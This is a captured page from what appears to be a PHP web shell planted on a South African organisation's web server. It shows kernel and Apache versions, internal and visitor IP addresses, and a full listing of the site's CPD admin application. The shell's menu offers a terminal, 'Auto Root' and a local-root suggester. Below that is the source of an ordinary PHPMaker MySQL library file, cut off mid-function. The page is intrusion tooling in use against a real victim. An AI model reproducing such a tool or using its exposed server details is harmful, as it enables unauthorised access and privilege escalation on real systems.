Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
cpdadmin /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax
[ DIR ]
drwxr-sr-x
2025-06-24 07:20
assessordocs
[ DIR ]
drwxr-sr-x
2026-03-23 08:03
calendar
[ DIR ]
drwxr-sr-x
2022-04-19 07:00
certificates
[ DIR ]
drwxrwsr-x
2026-08-25 10:45
ckeditor
[ DIR ]
drwxr-sr-x
2022-04-19 07:00
images
[ DIR ]
drwxr-sr-x
2022-04-19 07:59
js
[ DIR ]
drwxr-sr-x
2022-04-19 06:59
lang
[ DIR ]
drwxr-sr-x
2022-04-19 06:59
providerdocs
[ DIR ]
drwxr-sr-x
2026-08-12 07:21
txt
[ DIR ]
drwxr-sr-x
2022-04-19 06:59
uploads
[ DIR ]
drwxr-sr-x
2026-08-17 12:51
yui280
[ DIR ]
drwxr-sr-x
2022-04-19 07:00
CESA_CPD.css
10.23
KB
-rw-r--r--
2022-04-19 06:59
CPDAdminUsersadd.php
28.52
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUsersdelete.php
20.94
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUsersedit.php
29.37
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUsersinfo.php
24.37
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUserslist.php
58.77
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUsersview.php
40.59
KB
-rw-r--r--
2022-09-15 19:16
CPDAssessors_CVFile_bv.php
6.5
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_Document1_bv.php
6.54
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_Document2_bv.php
6.54
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_Document3_bv.php
6.54
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_NDAFile_bv.php
6.52
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_QualificationFile_bv.php
6.63
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsadd.php
77.14
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsdelete.php
28.85
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsedit.php
92.45
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsinfo.php
30.15
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorslist.php
73.5
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsview.php
69.35
KB
-rw-r--r--
2023-04-21 10:09
CPDProviderDocs_DocFile_bv.php
8.02
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsadd.php
40.38
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsdelete.php
24.9
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsedit.php
46.12
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsinfo.php
25.55
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocslist.php
84.13
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsview.php
56.09
KB
-rw-r--r--
2023-02-27 12:50
CPDSPReview_ReviewChecklist_bv.php
6.74
KB
-rw-r--r--
2023-03-08 11:27
CPDSPReview_ReviewFile1_bv.php
6.69
KB
-rw-r--r--
2023-03-08 11:27
CPDSPReview_ReviewFile2_bv.php
6.69
KB
-rw-r--r--
2023-03-08 11:27
CPDSPReviewadd.php
54.32
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewdelete.php
25.1
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewedit.php
64.65
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewinfo.php
28.05
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewlist.php
69.12
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewview.php
51.23
KB
-rw-r--r--
2023-03-08 12:02
CPDServiceProvider_AccountabilityStructure_bv.php
7.13
KB
-rw-r--r--
2024-12-10 09:46
CPDServiceProvider_CPDActivities_bv.php
7.02
KB
-rw-r--r--
2024-12-10 09:46
CPDServiceProvider_EvaluatorInvoice_bv.php
7.34
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_EvaluatorTimesheet_bv.php
7.36
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_InvoiceFile_bv.php
7.28
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_LearnerAssessProcedure_bv.php
7.12
KB
-rw-r--r--
2024-12-10 09:46
CPDServiceProvider_OtherVACPDSPNumberCertificate_bv.php
7.49
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_PrevSPNumberCertificate_bv.php
7.42
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_ProofOfPayment_bv.php
7.31
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvideradd.php
219.49
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProviderdelete.php
60.68
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProvideredit.php
244.46
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProviderinfo.php
51.93
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProviderlist.php
204.5
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProvidermaster.php
7.74
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProviderview.php
166.72
KB
-rw-r--r--
2025-04-16 15:56
CPDStepsTakenTMadd.php
33.05
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMdelete.php
24.02
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMedit.php
39.11
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMinfo.php
26.47
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMlist.php
67.53
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMview.php
42.7
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenadd.php
27.91
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakendelete.php
21.87
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenedit.php
34
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakeninfo.php
24.84
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenlist.php
102.44
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenview.php
39.89
KB
-rw-r--r--
2022-09-15 21:50
CPDTMReviewadd.php
68.75
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewdelete.php
30.53
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewedit.php
68.14
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewinfo.php
30.75
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewlist.php
76.95
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewview.php
58.41
KB
-rw-r--r--
2022-09-15 19:16
CPDTrainingMaterial_ActivityProgramme_bv.php
6.92
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_AssessmentDoc_bv.php
6.87
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_CourseBrochure_bv.php
6.88
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_EvaluatorInvoice_bv.php
6.91
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_EvaluatorTimesheet_bv.php
6.93
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_FeedbackForm_bv.php
6.86
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_InvoiceFile_bv.php
6.85
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_LearningOutcomesFile_bv.php
6.95
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_Presenter1CV_bv.php
6.86
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_Presenter1IDDoc_bv.php
6.9
KB
-rw-r--r--
2025-01-14 11:59
CPDTrainingMaterial_Presenter1SLA_bv.php
6.87
KB
-rw-r--r--
2025-01-14 12:31
CPDTrainingMaterial_Presenter2CV_bv.php
6.86
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_Presenter2IDDoc_bv.php
6.9
KB
-rw-r--r--
2025-01-14 11:59
CPDTrainingMaterial_Presenter2SLA_bv.php
6.87
KB
-rw-r--r--
2025-01-14 12:31
CPDTrainingMaterial_Presenter3CV_bv.php
6.86
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_Presenter3IDDoc_bv.php
6.9
KB
-rw-r--r--
2025-01-14 11:59
CPDTrainingMaterial_Presenter3SLA_bv.php
6.87
KB
-rw-r--r--
2025-01-14 12:31
CPDTrainingMaterial_ProofOfPayment_bv.php
6.88
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterialadd.php
312.71
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMaterialdelete.php
69.75
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMaterialedit.php
367.27
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMaterialinfo.php
61.66
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMateriallist.php
220.65
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMaterialmaster.php
5.84
KB
-rw-r--r--
2024-09-18 11:13
CPDTrainingMaterialview.php
222.22
KB
-rw-r--r--
2025-05-20 07:41
SpryMenuBarHorizontal.css
5.52
KB
-rw-r--r--
2022-04-19 06:59
SpryMenuBarVertical.css
4.52
KB
-rw-r--r--
2022-04-19 06:59
changepwd.php
10.52
KB
-rw-r--r--
2023-02-11 10:44
cstReviewProgressinfo.php
21.94
KB
-rw-r--r--
2022-09-15 19:16
cstReviewProgresslist.php
65.64
KB
-rw-r--r--
2022-09-15 19:16
echasl23add.php
29.32
KB
-rw-r--r--
2022-09-15 21:50
echasl23delete.php
21.56
KB
-rw-r--r--
2022-09-15 21:50
echasl23edit.php
31.02
KB
-rw-r--r--
2022-09-15 21:50
echasl23info.php
24.92
KB
-rw-r--r--
2022-09-15 21:50
echasl23list.php
70.56
KB
-rw-r--r--
2022-09-15 21:50
echasl23srch.php
32.07
KB
-rw-r--r--
2022-09-15 21:50
echasl23view.php
39.44
KB
-rw-r--r--
2022-09-15 21:50
ewbv7.php
1.88
KB
-rw-r--r--
2022-04-19 06:59
ewcfg7.php
68.37
KB
-rw-r--r--
2026-08-24 10:13
ewemail7.php
1.87
KB
-rw-r--r--
2022-04-19 06:59
ewlookup7.php
2.8
KB
-rw-r--r--
2022-04-19 06:59
ewmenu.php
2.14
KB
-rw-r--r--
2024-09-18 11:13
ewmysql7.php
29.43
KB
-rw-r--r--
2026-08-20 18:36
ewshared7.php
26.13
KB
-rw-r--r--
2023-03-08 11:59
footer.php
2.48
KB
-rw-r--r--
2025-06-24 07:24
forgotpwd.php
13.11
KB
-rw-r--r--
2023-02-11 10:44
genspcertificate.php
2.74
KB
-rw-r--r--
2025-07-14 12:09
gentmcertificate.php
4.46
KB
-rw-r--r--
2025-09-12 09:17
header.php
5.62
KB
-rw-r--r--
2022-04-19 08:00
inc_functions.php
15.82
KB
-rw-r--r--
2026-08-14 12:06
index.php
6.01
KB
-rw-r--r--
2023-02-11 10:44
login.php
18.09
KB
-rw-r--r--
2023-02-11 10:44
logout.php
6.14
KB
-rw-r--r--
2023-03-10 10:31
php_errors.log
36.69
KB
-rw-r--r--
2026-08-20 18:36
phpfn7.php
142.58
KB
-rw-r--r--
2026-08-24 10:13
userfn7.php
355
B
-rw-r--r--
2023-02-10 11:50
userlevelpermissionsadd.php
27.07
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionsdelete.php
19.54
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionsedit.php
26.11
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionsinfo.php
21.32
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionslist.php
67.92
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionssrch.php
21.52
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionsview.php
36.58
KB
-rw-r--r--
2022-09-15 19:16
userlevelsadd.php
24.5
KB
-rw-r--r--
2022-09-15 19:16
userlevelsdelete.php
16.89
KB
-rw-r--r--
2022-09-15 19:16
userlevelsedit.php
20.2
KB
-rw-r--r--
2022-09-15 19:16
userlevelsinfo.php
18.72
KB
-rw-r--r--
2022-09-15 19:16
userlevelslist.php
58.24
KB
-rw-r--r--
2022-09-15 19:16
userlevelsmaster.php
1.69
KB
-rw-r--r--
2022-09-15 19:16
userlevelssrch.php
17.79
KB
-rw-r--r--
2022-09-15 19:16
userlevelsview.php
32.56
KB
-rw-r--r--
2022-09-15 19:16
userpriv.php
14.51
KB
-rw-r--r--
2023-02-11 10:44
vwCPD_SPExpiredNotRenewedinfo.php
49.76
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPExpiredNotRenewedlist.php
129.54
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPExpiredNotRenewedmaster.php
10.96
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPLatestinfo.php
53.45
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPLatestlist.php
130.76
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPLatestmaster.php
14.99
KB
-rw-r--r--
2024-09-18 11:03
xenon.css
0
B
-rw-r--r--
2025-06-24 07:25
Save
Rename
<?php /** * MySQL API for PHPMaker 7 * (C) 2002-2010 e.World Technology Limited * * This script (ewmysql*.php) is based on: * V1.42 ADOdb Lite 11 January 2007 (C) 2005-2007 Mark Dickenson. Released LGPL. */ $PHPMaker_vers = 'PHPMaker 7 (C) 2002-2010 e.World Technology Limited'; define('ADODB_FETCH_DEFAULT', 0); define('ADODB_FETCH_NUM', 1); define('ADODB_FETCH_ASSOC', 2); define('ADODB_FETCH_BOTH', 3); if (!defined('EW_USE_MYSQLI')) { define('EW_USE_MYSQLI', FALSE && extension_loaded("mysqli")); } /** * ADOConnection */ class ADOConnection { var $connectionId = false; var $record_set = false; var $database; var $dbtype; var $dataProvider; var $host; var $open; var $password; var $username; var $persistent; var $debug = false; var $debug_console = false; var $debug_echo = true; var $debug_output; var $forcenewconnection = false; var $createdatabase = false; var $last_module_name; var $socket = false; var $port = false; var $clientFlags = 0; var $nameQuote = '"'; var $sysDate = false; /// name of function that returns the current date var $sysTimeStamp = false; /// name of function that returns the current timestamp var $sql; var $raiseErrorFn = false; var $query_count = 0; var $query_time_total = 0; var $query_list = array(); var $query_list_time = array(); var $query_list_errors = array(); var $_logsql = false; function __construct() { } /** * Returns floating point version number of PHPMaker * Usage: $db->Version(); * * @access public */ function Version() { global $PHPMaker_vers; return (float) substr($PHPMaker_vers, 1); } /** * Returns true if connected to database * Usage: $db->IsConnected(); * * @access public */ function IsConnected() { if ($this->connectionId === false || $this->connectionId == false) return false; else return true; } /** * Normal Database connection * Usage: $result = $db->Connect('host', 'username', 'password', 'database'); * * @access public * @param string $database * @param string $host * @param string $password * @param string $username * @param string $forcenew // private */ function Connect($host = "", $username = "", $password = "", $database = "", $forcenew = false) { return $this->_connect($host, $username, $password, $database, false, $forcenew); } /** * Persistent Database connection * Usage: $result = $db->PConnect('host', 'username', 'password', 'database'); * * @access public * @param string $database * @param string $host * @param string $password * @param string $username */ function PConnect($host = "", $username = "", $password = "", $database = "") { return $this->_connect($host, $username, $password, $database, true, false); } /** * Force New Database connection * Usage: $result = $db->NConnect('host', 'username', 'password', 'database'); * * @access public * @param string $database * @param string $host * @param string $password * @param string $username */ function NConnect($host = "", $username = "", $password = "", $database = "") { return $this->_connect($host, $username, $password, $database, false, true); } /** * Returns SQL query and instantiates sql statement & resultset driver * Usage: $linkId =& $db->execute( 'SELECT * FROM foo ORDER BY id' ); * * @access public * @param string $sql * @return mixed Resource ID, Array */ function &Execute($sql, $inputarr = false) { // adodb_log_sql will time the query execution and log the sql query // note: the later $this->do_query() should not run since adodb_log_sql() independently executes the query itself. if ($this->_logsql === true) { $ret = & adodb_log_sql($this, $sql, $inputarr); if (isset($ret)) return $ret; } $rs = & $this->do_query($sql, -1, -1, $inputarr); return $rs; } /** * Returns SQL query and instantiates sql statement & resultset driver * Usage: $linkId =& $db->SelectLimit( 'SELECT * FROM foo ORDER BY id', $nrows, $offset ); * $nrows and $offset are optional * * @access public * @param string $sql * @param string $nrows * @param string $offset * @return mixed Resource ID, Array */ function &SelectLimit($sql, $nrows = -1, $offset = -1, $inputarr = false, $secs2cache = 0) { $rs = & $this->do_query($sql, $offset, $nrows, $inputarr); return $rs; } /** * Display debug output and database error. * * @access private */ function outp($text, $newline = true) { global $ADODB_OUTP; $this->debug_output = "<br>\n(" . $this->dbtype . "): " . htmlspecialchars($text) . "<br>\n Error (" . $this->ErrorNo() . '): ' . $this->ErrorMsg() . "<br>\n"; if (defined('ADODB_OUTP')) { $fn = ADODB_OUTP; } else if (isset($ADODB_OUTP)) { $fn = $ADODB_OUTP; } if (defined('ADODB_OUTP') || isset($ADODB_OUTP)) { $fn($this->debug_output, $newline); return; } if ($this->debug_echo) echo $this->debug_output; } } /** * Empty result record set for updates, inserts, ect * * @access private */ class ADORecordSet_empty { var $fields = false; var $EOF = true; function MoveNext() { return; } function RecordCount() { return 0; } function FieldCount() { return 0; } function EOF() { return TRUE; } function Close() { return true; } } /** * mysqlt_driver_ADOConnection */ class mysqlt_driver_ADOConnection extends ADOConnection { var $autoCommit = true; var $transOff = 0; var $transCnt = 0; var $transaction_status = true; var $nameQuote = '`'; var $sysDate = 'CURDATE()'; var $sysTimeStamp = 'NOW()'; var $isoDates = true; // accepts dates in ISO format function __construct() { $this->dbtype = 'mysqlt'; $this->dataProvider = 'mysql'; $this->last_module_name = 'mysqlt_driver'; } /** * Connection to database server and selected database * * @access private */ function _connect($host = "", $username = "", $password = "", $database = "", $persistent, $forcenew) { if (EW_USE_MYSQLI) { if (!function_exists('mysqli_real_connect')) return false; $this->host = $host; $this->username = $username; $this->password = $password; $this->database = $database; $this->persistent = $persistent; $this->forcenewconnection = $forcenew; $this->connectionId = @mysqli_init(); @mysqli_real_connect($this->connectionId, $this->host, $this->username, $this->password, $this->database, $this->port, $this->socket, $this->clientFlags); if (mysqli_connect_errno() != 0) { $this->connectionId = false; } } else { if (!function_exists('mysql_connect')) return false; $this->host = $host; if (!empty($this->port)) $this->host .= ":" . $this->port; $this->username = $username; $this->password = $password; $this->database = $database; $this->persistent = $persistent; $this->forcenewconnection = $forcenew; if ($this->persistent == 1) { if (strnatcmp(PHP_VERSION, '4.3.0') >= 0) $this->connectionId = @mysql_pconnect($this->host, $this->username, $this->password, $this->clientFlags); else $this->connectionId = @mysql_pconnect($this->host, $this->username, $this->password); } else { if (strnatcmp(PHP_VERSION, '4.3.0') >= 0) $this->connectionId = @mysql_connect($this->host, $this->username, $this->password, $this->forcenewconnection, $this->clientFlags); else if (strnatcmp(PHP_VERSION, '4.2.0') >= 0) $this->connectionId = @mysql_connect($this->host, $this->username, $this->password, $this->forcenewconnection); else $this->connectionId = @mysql_connect($this->host, $this->username, $this->password); } } if ($this->connectionId === false) { if ($fn = $this->raiseErrorFn) $fn($this->dbtype, 'CONNECT', $this->ErrorNo(), $this->ErrorMsg(), $this->host, $this->database, $this); return false; } if (!empty($this->database)) { if ($this->SelectDB($this->database) == false) { $this->connectionId = false; return false; } } return true; } /** * Choose a database to connect. * * @param dbname is the name of the database to select * @return true or false * @access public */ function SelectDB($dbname) { $this->database = $dbname; if ($this->connectionId === false) { $this->connectionId = false; return false; } else { if (EW_USE_MYSQLI) { $result = @mysqli_select_db($this->connectionId, $this->database); } else { $result = @mysql_select_db($this->database, $this->connectionId); } if ($result === false) { if ($this->createdatabase == true) { if (EW_USE_MYSQLI) { $result = @mysqli_query($this->connectionId, "CREATE DATABASE IF NOT EXISTS " . $this->database); } else { $result = @mysql_query("CREATE DATABASE IF NOT EXISTS " . $this->database, $this->connectionId); } if ($result === false) { // error handling if query fails return false; } if (EW_USE_MYSQLI) { $result = @mysqli_select_db($this->connectionId, $this->database); } else { $result = @mysql_select_db($this->database, $this->connectionId); } if ($result === false) { return false; } } else { return false; } } return true; } } /** * Return database error message * Usage: $errormessage =& $db->ErrorMsg(); * * @access public */ function ErrorMsg() { if ($this->connectionId === false) { if (EW_USE_MYSQLI) { return @mysqli_connect_error(); } else { return @mysql_error(); } } else { if (EW_USE_MYSQLI) { return @mysqli_error($this->connectionId); } else { return @mysql_error($this->connectionId); } } } /** * Return database error number * Usage: $errorbo =& $db->ErrorNo(); * * @access public */ function ErrorNo() { if ($this->connectionId === false) { if (EW_USE_MYSQLI) { return @mysqli_connect_errno(); } else { return @mysql_errno(); } } else { if (EW_USE_MYSQLI) { return @mysqli_errno($this->connectionId); } else { return @mysql_errno($this->connectionId); } } } /** * Returns # of affected rows from insert/delete/update query * * @access public * @return integer Affected rows */ function Affected_Rows() { if (EW_USE_MYSQLI) { return @mysqli_affected_rows($this->connectionId); } else { return @mysql_affected_rows($this->connectionId); } } /** * Returns the last record id of an inserted item * Usage: $db->Insert_ID(); * * @access public */ function Insert_ID() { if (EW_USE_MYSQLI) { return @mysqli_insert_id($this->connectionId); } else { return @mysql_insert_id($this->connectionId); } } /** * Correctly quotes a string so that all strings are escape coded. * An example is $db->qstr("Haven't a clue."); * * @param string the string to quote * @param [magic_quotes] if $s is GET/POST var, set to get_magic_quotes_gpc(). * * @return single-quoted string IE: 'Haven\'t a clue.' */ function qstr($string, $magic_quotes = false) { if (!$magic_quotes) { if (EW_USE_MYSQLI) { if (strnatcmp(PHP_VERSION, '4.3.0') >= 0 && function_exists('mysqli_real_escape_string')) { return "'" . mysqli_real_escape_string($this->connectionId, $string) . "'"; } } else { if (strnatcmp(PHP_VERSION, '4.3.0') >= 0) { return "'" . mysql_real_escape_string($string, $this->connectionId) . "'"; } } $string = str_replace("'", "\\'", str_replace('\\', '\\\\', str_replace("\0", "\\\0", $string))); return "'" . $string . "'"; } return "'" . str_replace('\\"', '"', $string) . "'"; } function QMagic($string) { return $this->qstr($string, get_magic_quotes_gpc()); } /** * Returns concatenated string * Usage: $db->Concat($str1,$str2); * * @return concatenated string */ function Concat() { $arr = func_get_args(); $list = implode(', ', $arr); if (strlen($list) > 0) return "CONCAT($list)"; else return ''; } function IfNull($field, $ifNull) { return " IFNULL($field, $ifNull) "; } /** * Closes database connection * Usage: $db->close(); * * @access public */ function Close() { if (EW_USE_MYSQLI) { @mysqli_close($this->connectionId); } else { @mysql_close($this->connectionId); } $this->connectionId = false; } function StartTrans($errfn = 'ADODB_TransMonitor') { if ($this->transOff > 0) { $this->transOff += 1; return; } $this->transaction_status = true; if ($this->debug && $this->transCnt > 0) ADOConnection::outp("Bad Transaction: StartTrans called within BeginTrans"); $this->BeginTrans(); $this->transOff = 1; } function BeginTrans() { if ($this->transOff) return true; $this->transCnt += 1; $this->Execute('SET AUTOCOMMIT=0'); $this->Execute('BEGIN'); return true; } function CompleteTrans($autoComplete = true) { if ($this->transOff > 1) { $this->transOff -= 1; return true; } $this->transOff = 0; if ($this->transaction_status && $autoComplete) { if (!$this->CommitTrans()) { $this->transaction_status = false; if ($this->debug) ADOConnection::outp("Smart Commit failed"); } else if ($this->debug) ADOConnection::outp("Smart Commit occurred"); } else { $this->RollbackTrans(); if ($this->debug) ADOCOnnection::outp("Smart Rollback occurred"); } return $this->transaction_status; } function CommitTrans($ok = true) { if ($this->transOff) return true; if (!$ok) return $this->RollbackTrans(); if ($this->transCnt) $this->transCnt -= 1; $this->Execute('COMMIT'); $this->Execute('SET AUTOCOMMIT=1'); return true; } function RollbackTrans() { if ($this->transOff) return true; if ($this->transCnt) $this->transCnt -= 1; $this->Execute('ROLLBACK'); $this->Execute('SET AUTOCOMMIT=1'); return true; } function FailTrans() { if ($this->debug) if ($this->transOff == 0) { ADOConnection::outp("FailTrans outside StartTrans/CompleteTrans"); } else { ADOConnection::outp("FailTrans was called"); } $this->transaction_status = false; } function HasFailedTrans() { if ($this->transOff > 0) return $this->transaction_status == false; return false; } function RowLock($tables, $where, $flds = '1 as ignore') { if ($this->transCnt == 0) $this->BeginTrans(); return $this->GetOne("select $flds from $tables where $where for update"); } function CommitLock($table) { return $this->CommitTrans(); } function RollbackLock($table) { return $this->RollbackTrans(); } /** * Returns All Records in an array * * Usage: $db->GetAll($sql); * @access public */ function &GetAll($sql, $inputarr = false) { $data = & $this->GetArray($sql, $inputarr); return $data; } /** * Returns All Records in an array * * Usage: $db->GetArray($sql); * @access public */ function &GetArray($sql, $inputarr = false) { $data = false; $result = & $this->Execute($sql, $inputarr); if ($result) { $data = & $result->GetArray(); $result->Close(); } return $data; } /** * Return first element of first row of sql statement. Recordset is disposed * for you. * * @param sql SQL statement * @param [inputarr] input bind array */ function GetOne($sql, $inputarr = false) { $ret = false; $rs = & $this->Execute($sql, $inputarr); if ($rs) { if (!$rs->EOF) $ret = reset($rs->fields); $rs->Close(); } return $ret; } /** * Executes SQL query and instantiates resultset methods * * @access private * @return mixed Resultset methods */ function &do_query($sql, $offset, $nrows, $inputarr = false) { global $ADODB_FETCH_MODE; $false = false; $limit = ''; if ($offset >= 0 || $nrows >= 0) { $offset = ($offset >= 0) ? $offset . "," : ''; $nrows = ($nrows >= 0) ? $nrows : '18446744073709551615'; $limit = ' LIMIT ' . $offset . ' ' . $nrows; } if ($inputarr && is_array($inputarr)) { $sqlarr = explode('?', $sql); if (!is_array(reset($inputarr))) $inputarr = array($inputarr); foreach ($inputarr as $arr) { $sql = ''; $i = 0; foreach ($arr as $v) { $sql .= $sqlarr[$i]; switch (gettype($v)) { case 'string': $sql .= $this->qstr($v); break; case 'double': $sql .= str_replace(',', '.', $v); break; case 'boolean': $sql .= $v ? 1 : 0; break; default: if ($v === null) $sql .= 'NULL'; else $sql .= $v; } $i += 1; } $sql .= $sqlarr[$i]; if ($i + 1 != sizeof($sqlarr)) return $false; $this->sql = $sql . $limit; $time_start = array_sum(explode(' ', microtime())); $this->query_count++; if (EW_USE_MYSQLI) { $resultId = @mysqli_query($this->connectionId, $this->sql); } else { $resultId = @mysql_query($this->sql, $this->connectionId); } $time_total = (array_sum(explode(' ', microtime())) - $time_start); $this->query_time_total += $time_total; if ($this->debug_console) { $this->query_list[] = $this->sql; $this->query_list_time[] = $time_total; $this->query_list_errors[] = $this->ErrorMsg(); } if ($this->debug) { $this->outp($sql . $limit); } } } else { $this->sql = $sql . $limit; $time_start = array_sum(explode(' ', microtime())); $this->query_count++; if (EW_USE_MYSQLI) { $resultId = @mysqli_query($this->connectionId, $this->sql); } else { $resultId = @mysql_query($this->sql, $this->connectionId); } $time_total = (array_sum(explode(' ', microtime())) - $time_start); $this->query_time_total += $time_total; if ($this->debug_console) { $this->query_list[] = $this->sql; $this->query_list_time[] = $time_total; $this->query_list_errors[] = $this->ErrorMsg(); } if ($this->debug) { $this->outp($sql . $limit); } } if ($resultId === false) { // error handling if query fails if ($fn = $this->raiseErrorFn) $fn($this->dbtype, 'EXECUTE', $this->ErrorNo(), $this->ErrorMsg(), $this->sql, $inputarr, $this); return $false; } if ($resultId === true) { // return simplified recordset for inserts/updates/deletes with lower overhead $recordset = new ADORecordSet_empty(); return $recordset; } $resultset_name = $this->last_module_name . "_ResultSet"; $recordset = new $resultset_name($resultId, $this->connectionId); $recordset->_currentRow = 0; if (EW_USE_MYSQLI) { switch ($ADODB_FETCH_MODE) { case ADODB_FETCH_NUM: $recordset->fetchMode = MYSQLI_NUM; break; case ADODB_FETCH_ASSOC:$recordset->fetchMode = MYSQLI_ASSOC; break; default: case ADODB_FETCH_DEFAULT: case ADODB_FETCH_BOTH:$recordset->fetchMode = MYSQLI_BOTH; break; } } else { switch ($ADODB_FETCH_MODE) { case ADODB_FETCH_NUM: $recordset->fetchMode = MYSQL_NUM; break; case ADODB_FETCH_ASSOC:$recordset->fetchMode = MYSQL_ASSOC; break; default: case ADODB_FETCH_DEFAULT: case ADODB_FETCH_BOTH:$recordset->fetchMode = MYSQL_BOTH; break; } } if (EW_USE_MYSQLI) { $recordset->_numOfRows = @mysqli_num_rows($resultId); } else { $recordset->_numOfRows = @mysql_num_rows($resultId); } if ($recordset->_numOfRows == 0) { $recordset->EOF = true; } if (EW_USE_MYSQLI) { $recordset->_numOfFields = @mysqli_num_fields($resultId); } else { $recordset->_numOfFields = @mysql_num_fields($resultId); } $recordset->_fetch(); return $recordset; } } class mysqlt_driver_ResultSet { var $connectionId; var $fields; var $resultId; var $_currentRow = 0; var $_numOfRows = -1; var $_numOfFields = -1; var $fetchMode; var $EOF; /** * mysqlResultSet Constructor * * @access private * @param string $record * @param string $resultId */ function __construct($resultId, $connectionId) { $this->fields = array(); $this->connectionId = $connectionId; $this->record = array(); $this->resultId = $resultId; $this->EOF = false; } /** * Frees resultset * * @access public */ function Close() { if (EW_USE_MYSQLI) { @mysqli_free_result($this->resultId); } else { @mysql_free_result($this->resultId); } $this->fields = array(); $this->resultId = false; } /** * Returns field name from select query * * @access public * @param string $field * @return string Field name */ function fields($field) { if (empty($field)) { return $this->fields; } else { return $this->fields[$field]; } } /** * Returns numrows from select query * * @access public * @return integer Numrows */ function RecordCount() { return $this->_numOfRows; } /** * Returns num of fields from select query * * @access public * @return integer numfields */ function FieldCount() { return $this->_numOfFields; } /** * Returns next record * * @access public */ function MoveNext() { if (EW_USE_MYSQLI) { $this->fields = @mysqli_fetch_array($this->resultId, 